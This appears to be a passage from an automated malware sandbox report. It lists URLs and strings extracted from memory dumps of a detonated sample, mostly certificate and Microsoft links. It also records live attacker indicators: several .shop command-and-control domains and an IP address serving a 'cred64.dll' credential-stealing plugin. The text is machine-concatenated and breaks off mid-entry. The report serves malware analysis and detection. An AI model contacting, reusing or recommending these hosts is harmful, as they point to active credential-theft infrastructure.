"00000000-00003892.00000001.69901.10000000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=393253" - Source: "00000000-00003892.00000001.69901.10000000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00003892.00000001.69901.77B10000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00003892.00000001.69901.77B10000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00003892.00000001.69901.77B10000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;;st" - Source: "00000000-00003892.00000001.69901.77B10000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00003892.00000001.69901.77B10000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00003892.00000001.69901.77B10000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00003892.00000001.69901.77B10000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00003892.00000001.69901.77B10000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00003892.00000001.69901.77B10000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0uz_]!;sb=a/;sl4a" - Source: "00000000-00003892.00000001.69901.77B10000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0f9iqmgvw,czcsd;s'nadigicert" - Source: "00000000-00003892.00000001.69901.79F40000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00003892.00000001.69901.79F40000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00003892.00000001.69901.79F40000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00003892.00000001.69901.79F40000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00003892.00000001.69901.79F40000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00003892.00000001.69901.79F40000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00003892.00000001.69901.79F40000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003892.00000001.69901.79F40000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526726'," - Source: "00000000-00003892.00000001.69901.79F40000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526920')]" - Source: "00000000-00003892.00000001.69901.79F40000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526919" - Source: "00000000-00003892.00000001.69901.79F40000.00000004.mdmp") Found URL "http://www.microsoft.com/windowsb;s!ka1.3.6.1.4.1.311.10.1<;s_ba" - Source: "00000000-00003892.00000001.69901.79F40000.00000004.mdmp") Found URL "http://www" - Source: "00000000-00003892.00000001.69901.79F40000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00003892.00000001.69901.79F40000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportoftware\microsoft\windows" - Source: "00000000-00003892.00000001.69901.7B860000.00000004.mdmp") Found URL "http://crl.mv8redmwashingtonosoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0aoc11+0)xszd2zxszd2zxszd2zxszd2zredmond1microsoft" - Source: "00000000-00003892.00000001.69901.7B860000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00003892.00000001.69901.7B860000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00003892.00000001.69901.7B860000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00003892.00000001.69901.7B860000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=393253" - Source: "00000000-00003892.00000001.69901.7B960000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00003892.00000001.69901.7B960000.00000004.mdmp") Found URL "http://www.microsoft.com/windows" - Source: "00000000-00003892.00000001.69901.7B960000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.10.3.61.3.6.1.5.5.7.3.3timstamicrosoft.powershell.commands.management.dllmicrosoft.powershell.commands.management.dll*ngton1redmond1microsoft" - Source: "00000000-00003892.00000001.69901.7B960000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0qst*&pj>e" - Source: "00000000-00003892.00000001.69901.7B960000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00003892.00000001.69901.7B960000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00003892.00000002.71821.02AF2000.00000002.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00003892.00000002.71821.77B10000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00003892.00000002.71821.77B10000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00003892.00000002.71821.77B10000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;;st" - Source: "00000000-00003892.00000002.71821.77B10000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00003892.00000002.71821.77B10000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00003892.00000002.71821.77B10000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00003892.00000002.71821.77B10000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00003892.00000002.71821.77B10000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00003892.00000002.71821.77B10000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0uz_]!;sb=a/;sl4a" - Source: "00000000-00003892.00000002.71821.77B10000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0f9iqmgvw,czcsd;s'nadigicert" - Source: "00000000-00003892.00000002.71821.79F40000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00003892.00000002.71821.79F40000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00003892.00000002.71821.79F40000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00003892.00000002.71821.79F40000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00003892.00000002.71821.79F40000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00003892.00000002.71821.79F40000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00003892.00000002.71821.79F40000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003892.00000002.71821.79F40000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526726'," - Source: "00000000-00003892.00000002.71821.79F40000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526920')]" - Source: "00000000-00003892.00000002.71821.79F40000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526919" - Source: "00000000-00003892.00000002.71821.79F40000.00000004.mdmp") Found URL "http://www.microsoft.com/windowsb;s!ka1.3.6.1.4.1.311.10.1<;s_ba" - Source: "00000000-00003892.00000002.71821.79F40000.00000004.mdmp") Found URL "http://www" - Source: "00000000-00003892.00000002.71821.79F40000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00003892.00000002.71821.79F40000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportoftware\microsoft\windows" - Source: "00000000-00003892.00000002.71821.7B860000.00000004.mdmp") Found URL "http://crl.mv8redmwashingtonosoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0aoc11+0)xszd2zxszd2zxszd2zxszd2zredmond1microsoft" - Source: "00000000-00003892.00000002.71821.7B860000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00003892.00000002.71821.7B860000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00003892.00000002.71821.7B860000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00003892.00000002.71821.7B860000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=393253" - Source: "00000000-00003892.00000002.71821.7B960000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00003892.00000002.71821.7B960000.00000004.mdmp") Found URL "http://www.microsoft.com/windows" - Source: "00000000-00003892.00000002.71821.7B960000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.10.3.61.3.6.1.5.5.7.3.3timstamicrosoft.powershell.commands.management.dllmicrosoft.powershell.commands.management.dll*ngton1redmond1microsoft" - Source: "00000000-00003892.00000002.71821.7B960000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0qst*&pj>e" - Source: "00000000-00003892.00000002.71821.7B960000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00003892.00000002.71821.7B960000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00003892.00000002.71821.C9A78000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalsignatureslastcheckednissignatureslastupdateddeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00003892.00000002.71821.C9A78000.00000002.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutthreatseveritydefaultactionemptykeyvaluedisableprivacymode%mpconfig_productappdatapath%\telemetryallowuseruiaccessuilockdownnotification_suppresssuppressrebootnotificationsuppresswdonotificationmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllmpconfigut-53e7e780-2330-40c6-94c6-be75e946e933oftware\microsoft\removaltools\mrtguidfalsemp_config_type_szmp_config_type_dwordmp_config_type_multi_szmp_config_type_binarymp_config_type_nonemp_config_origin_nonemp_config_origin_defaultmp_config_origin_preferencesmp_config_origin_mdm_policymp_config_origin_policy*sof**eof*t%uh%um%uspt%uhp%udp%udt%uh2000-01-01t%02u:%02u:%02umpclient_nouseunifiedschedulingenginelocalsystem2100-01-01t00:00:00d:(a;;fa;;;sy)(a;;frfx;;;ls)maintenanceregularmicrosoft\windows\windows" - Source: "00000000-00003892.00000002.71821.C9A78000.00000002.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004384.00000000.68922.D6D50000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004384.00000001.70841.D6D50000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004384.00000002.72761.D6D50000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005588.00000000.69376.03670000.00000004.mdmp") Found URL "https://www.facebook.com/videoc:\u5632b1a4-e38a-400a-928a-d4cd63230295" - Source: "00000000-00005908.00000000.67861.038D0000.00000004.mdmp") Found URL "https://www.youtube.com/https://www.youtube.com/:\windows\system32\edputil.dll:\windows\system32\ieframe.dll:\windows\syswow64\ieframe.dllhttps://www.youtube.com/:\windows\system32\bcrypt.dllicrosoft" - Source: "00000000-00005908.00000000.67861.038D0000.00000004.mdmp") Found URL "https://www.youtube.com/icrosoft\windows\inetcookiesid\" - Source: "00000000-00005908.00000000.67861.038D0000.00000004.mdmp") Found URL "https://www.facebook.com/videoud.watchdogtaskwindows.backgroundtasksmicrosoft.windows712001:0:34f1:8072:4d7:37d1:3f57:e54desktop-fvvf82a192.168.241.1712001:0:34f1:8072:4d7:37d1:3f57:e54f+ncalrpc:[ole57f8863ec700b6dcfe915e6410ab]esktop-fvvf82a\hapubwss\local" - Source: "00000000-00005908.00000000.67861.038D0000.00000004.mdmp") Found URL "https://www.facebook.com/video:\program" - Source: "00000000-00005908.00000000.67861.038D0000.00000004.mdmp") Found URL "https://www.youtube.com/:\windows\system32\sfc_os.dll:\windows\system32\sfc_os.dllactivatableclassidebcache_" - Source: "00000000-00005908.00000000.67861.038D0000.00000004.mdmp") Found URL "https://accounts.google.comistoryu.exetsvcscalrpcxefilettpscalrpcacherofileookiesindows.internal.applicationdefaults.applicationdefaulthelperspetry\1-73:\users\hapubws\appdata\local\microsoft\windows\iecompatcache\ppdata\localocal" - Source: "00000000-00005908.00000001.69781.038D0000.00000004.mdmp") Found URL "https://accounts.google.comistoryu.exetsvcscalrpcxefilettpscalrpcacherofileookiesindows.internal.applicationdefaults.applicationdefaulthelperspetry\1-73:\users\hapubws\appdata\local\microsoft\windows\iecompatcache\ppdata\localocal" - Source: "00000000-00005908.00000002.71701.038D0000.00000004.mdmp") Found URL "ftp://-735145574-3570218355-1207367261-1001_classes\wow6432node\clsid\" - Source: "00000000-00005908.00000002.71701.038D0000.00000004.mdmp") Found URL "http://registry\user\s-1-5-21-735145574-3570218355-1207367261-1001_classes\wow6432node\clsid\" - Source: "00000000-00005908.00000002.71701.038D0000.00000004.mdmp") Found URL "http://735145574-3570218355-1207367261-1001_classes\wow6432node\clsid\" - Source: "00000000-00005908.00000002.71701.038D0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006072.00000000.68082.02A50000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006228.00000000.70159.028F0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006228.00000001.72079.028F0000.00000004.mdmp") Found URL "http://user.configfile:.configfile://datadirectoryc:\users\hapubws\appdata\roaming\configurationvalue\olehps.exe.configfile:///c:/users/hapubws/appdata/roaming/configurationvalue/olehps.exec:/users/hapubws/appdata/roaming/configurationvalue/olehps.exec:\users\hapubws\appdata\roaming\configurationvalue\olehps.exehttphttpsfilegophernntpnewsmailtouuidtelnetldapnet.tcpnet.pipevsmacrostargetframeworkmoniker.netportablesilverlightwindowsphone71windowsphone8.netframeworkversion=v4.0versionv4.00123456789abcdefsystem.net/machine/exe/roaming_user/local_usermachine/exe/roaming_userconfigmachine.configc:\windows\microsoft.net\framework\v4.0.30319\c:\windows\microsoft.net\framework\v4.0.30319\c:\windows\microsoft.net\framework\v4.0.30319\configc:\windows\microsoft.net\framework\v4.0.30319\config\machine.configc:\windows\microsoft.net\framework\v4.0.30319\config\machine.configmachine.config\\.\modeaccessrightssharec:\windows\microsoft.net\framework\v4.0.30319\config\machine.config\\?\config_base_unrecognized_elementsystem.security.cryptography.randomnumbergeneratorcryptonamemappingoidmapmscorlibmachine.configconfigurationcryptographysettingsc:\windows\microsoft.net\framework\v4.0.30319\config\c:\users\hapubws\appdata\roaming\microsoft\clr" - Source: "00000000-00006228.00000001.72079.04C20000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00006228.00000001.72079.04C20000.00000004.mdmp") Found URL "http://www.w3.org/2000/09/xmldsig" - Source: "00000000-00006228.00000001.72079.04C20000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006228.00000002.73999.028F0000.00000004.mdmp") Found URL "http://user.configfile:.configfile://datadirectoryc:\users\hapubws\appdata\roaming\configurationvalue\olehps.exehttphttpsfilegophernntpnewsmailtouuidtelnetldapnet.tcpnet.pipevsmacrostargetframeworkmoniker.netportablesilverlightwindowsphone71windowsphone80123456789abcdefsystem.net/machine/exe/roaming_user/local_usermachine/exe/roaming_userconfigmachine.configc:\windows\microsoft.net\framework\v4.0.30319\config\machine.config\\.\modeaccessrightsshare\\?\config_base_unrecognized_elementsystem.security.cryptography.randomnumbergeneratorcryptonamemappingoidmapmscorlibmachine.configconfigurationcryptographysettingsc:\windows\microsoft.net\framework\v4.0.30319\config\c:\users\hapubws\appdata\roaming\microsoft\clr" - Source: "00000000-00006228.00000002.73999.04C20000.00000004.mdmp") Found URL "http://www.w3.org/2000/09/xmldsig" - Source: "00000000-00006228.00000002.73999.04C20000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006944.00000000.68349.029A0000.00000004.mdmp") Found URL "https://modestessayevenmilwek.shop/apit" - Source: "00000000-00006944.00000001.70269.029A0000.00000004.mdmp") Found URL "https://gemcreedarticulateod.shop/apihttps://secretionsuitcasenioise.shop/https://gemcreedarticulateod.shop/https://claimconcessionrebe.shop/apihttps://modestessayevenmilwek.shop/microsoft" - Source: "00000000-00006944.00000001.70269.029A0000.00000004.mdmp") Found URL "https://clabilityarrangemenyit.shop/liabilityarrangemenyit.shopttaskonidle>false" - Source: "00000000-00006944.00000001.70269.029A0000.00000004.mdmp") Found URL "https://liabilityarrangemenyit.shop/apihttps://secretionsuitcasenioise.shop/apiisallowedcert_os_1isallowedcert_autoupdate_1:\users\hapubws\appdata\local\temp\1000005001\dpapi.dlloftware\microsoft\systemcertificates\root\physicalstoresoftware\policies\microsoft\systemcertificates\disallowedigicert" - Source: "00000000-00006944.00000001.70269.029A0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006944.00000001.70269.029A0000.00000004.mdmp") Found URL "https://modestessayevenmilwek.shop/apit" - Source: "00000000-00006944.00000002.72188.029A0000.00000004.mdmp") Found URL "https://gemcreedarticulateod.shop/apihttps://secretionsuitcasenioise.shop/https://gemcreedarticulateod.shop/https://claimconcessionrebe.shop/apihttps://liabilityarrangemenyit.shop/microsoft" - Source: "00000000-00006944.00000002.72188.029A0000.00000004.mdmp") Found URL "https://clabilityarrangemenyit.shop/liabilityarrangemenyit.shopttaskonidle>false" - Source: "00000000-00006944.00000002.72188.029A0000.00000004.mdmp") Found URL "https://liabilityarrangemenyit.shop/apihttps://secretionsuitcasenioise.shop/apiisallowedcert_os_1isallowedcert_autoupdate_1:\users\hapubws\appdata\local\temp\1000005001\dpapi.dlloftware\microsoft\systemcertificates\root\physicalstoresoftware\policies\microsoft\systemcertificates\disallowedigicert" - Source: "00000000-00006944.00000002.72188.029A0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006944.00000002.72188.029A0000.00000004.mdmp") Found URL "https://www.cloudflare.com/learning/ddos/glossary/malware/" - Source: "00000000-00006944.00000002.72188.02A86000.00000004.mdmp") Found URL "https://www.cloudflare.com/5xx-error-landing" - Source: "00000000-00006944.00000002.72188.02A86000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006952.00000000.69869.02AC0000.00000004.mdmp") Found URL "http://185.215.113.32/yandex/index.phphttp://185.215.113.32/yandex/index.phpocklmvvi," - Source: "00000000-00007552.00000000.67615.134E0000.00000004.mdmp") Found URL "http://185.215.113.32/aeeeqqqqqqqqqqqqqqqq/yandex/185.215.113.32asycasycasycqqqqqqqqqqqqqqqq185.215.113.32ua-cpu:" - Source: "00000000-00007552.00000000.67615.134E0000.00000004.mdmp") Found URL "http://185.215.113.32/yandex/plugins/cred64.dllhttp://185.215.113.32/yandex/plugins/cred64.dllc:\users\hapubws\appdata\local\microsoft\windows\inetcache\ie\4ekoowyy\cred64[1].dllistory\hapubws\appdata\local\microsoft\windows\inetcookies85.215.113.32s\appdata\local\temp\00c07260dc\urlmon.dll85.215.113.32s\appdata\local\temp\00c07260dc\urlmon.dllookie:\hapubws\appdata\local\microsoft\windows\inetcookies67.132sers\hapubws\appdata\local\temp\1000002001\fu.exe:\users\hapubws\appdata\local\microsoft\feeds" - Source: "00000000-00007652.00000000.67288.00B10000.00000004.mdmp") Found URL "http://www.google.com/185.215.113.32/yandex/index.php:\users\hapubws\appdata\local\microsoft\windows\inetcache\ie\ebcache_" - Source: "00000000-00007652.00000000.67288.00B10000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007652.00000000.67288.00B10000.00000004.mdmp") Found URL "http://185.215.113.32/yandex/index.php1000007001adsadsa.exe1000007001usersappdatalocaltemp1000007001localtemptempappdataloca(tempvs_version_infovarfileinfotranslationstringfileinfo000004b0commentsxhp" - Source: "00000000-00007652.00000001.69207.00B10000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007652.00000001.69207.00B10000.00000004.mdmp") Found URL "http://185.215.113.32/yandex/index.phpnegotiatenegoextenderkerberosntlmtsssppku2uschannelows_ntpath=c:\programdata\oracle\java\javapath;c:\windows\system32;c:\windows;c:\windows\system32\wbem;c:\windows\system32\windowspowershell\v1.0\;c:\users\hapubws\appdata\local\programs\python\python311\scripusers@shell32.dll,-21813hapubwsappdatalocaltemp1000011001c:\users\hapubws\appdata\local\temp\00c07260dc\explorgu.exesersexefiletempvs_version_infovarfileinfotranslationstringfileinfo000004b0commentsxhp" - Source: "00000000-00007652.00000002.71125.00B10000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007652.00000002.71125.00B10000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007672.00000000.67578.02DF0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007672.00000002.71418.02DF0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007976.00000000.67630.031D0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007976.00000001.69547.031D0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007976.00000002.71470.031D0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00008148.00000000.68173.02D40000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00008148.00000001.70091.02D40000.00000004.mdmp") Found URL "http://user.configfile:.configfile://datadirectoryc:\users\hapubws\appdata\local\temp\1000004001\rdx.exe.configfile:///c:/users/hapubws/appdata/local/temp/1000004001/rdx.exec:/users/hapubws/appdata/local/temp/1000004001/rdx.exec:\users\hapubws\appdata\local\temp\1000004001\rdx.exehttphttpsfilegophernntpnewsmailtouuidtelnetldapnet.tcpnet.pipevsmacrostargetframeworkmoniker.netportablesilverlightwindowsphone71windowsphone8.netframeworkversion=v4.0versionv4.00123456789abcdefsystem.net/machine/exe/roaming_user/local_usermachine/exe/roaming_userconfigmachine.configc:\windows\microsoft.net\framework\v4.0.30319\c:\windows\microsoft.net\framework\v4.0.30319\c:\windows\microsoft.net\framework\v4.0.30319\configc:\windows\microsoft.net\framework\v4.0.30319\config\machine.configc:\windows\microsoft.net\framework\v4.0.30319\config\machine.configmachine.config\\.\modeaccessrightssharec:\windows\microsoft.net\framework\v4.0.30319\config\machine.config\\?\config_base_unrecognized_elementsystem.security.cryptography.randomnumbergeneratorcryptonamemappingoidmapmscorlibmachine.configconfigurationcryptographysettingsc:\windows\microsoft.net\framework\v4.0.30319\config\c:\users\hapubws\appdata\roaming\microsoft\clr" - Source: "00000000-00008148.00000001.70091.05170000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00008148.00000001.70091.05170000.00000004.mdmp") Found URL "http://www.w3.org/2000/09/xmldsig" - Source: "00000000-00008148.00000001.70091.05170000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00008148.00000002.72012.02D40000.00000004.mdmp") Found URL "https://www.youtube.com/desktop-fvvf82aroot\cimv2" - Source: "00000000-00008148.00000002.72012.08642000.00000004.mdmp") Found URL "https://www.youtube.com/" - Source: "00000000-00008148.00000002.72012.08642000.00000004.mdmp")4d:T784,Found string "B+ncalrpc:[OLEF47B4D4AF0D0150D013DE318457A]" (Indicator: "ncalrpc"; Source: "00000000-00002592.00000001.72047.03110000.00000004.mdmp, 00000000-00002592.00000001.72047.07630000.00000004.mdmp, 00000000-00002592.00000002.73964.03110000.00000004.mdmp, 00000000-00002592.00000002.73964.07630000.00000004.mdmp, 00000000-00006228.00000001.72079.028F0000.00000004.mdmp, 00000000-00006228.00000002.73999.028F0000.00000004.mdmp") Found string "+ncalrpc:[OLE795447F2BDBD4156EBC23FD85F11]" (Indicator: "ncalrpc"; Source: "00000000-00002592.00000001.72047.031C1000.00000004.mdmp, 00000000-00002592.00000002.73964.03110000.00000004.mdmp") Found string "9ncalrpc:[epmapper,Security=Impersonation Dynamic False]" (Indicator: "ncalrpc"; Source: "00000000-00002592.00000001.72047.07630000.00000004.mdmp, 00000000-00002592.00000002.73964.07630000.00000004.mdmp, 00000000-00006228.00000001.72079.028F0000.00000004.mdmp, 00000000-00006228.00000002.73999.028F0000.00000004.mdmp") Found string "+ncalrpc:[OLEF47B4D4AF0D0150D013DE318457A]" (Indicator: 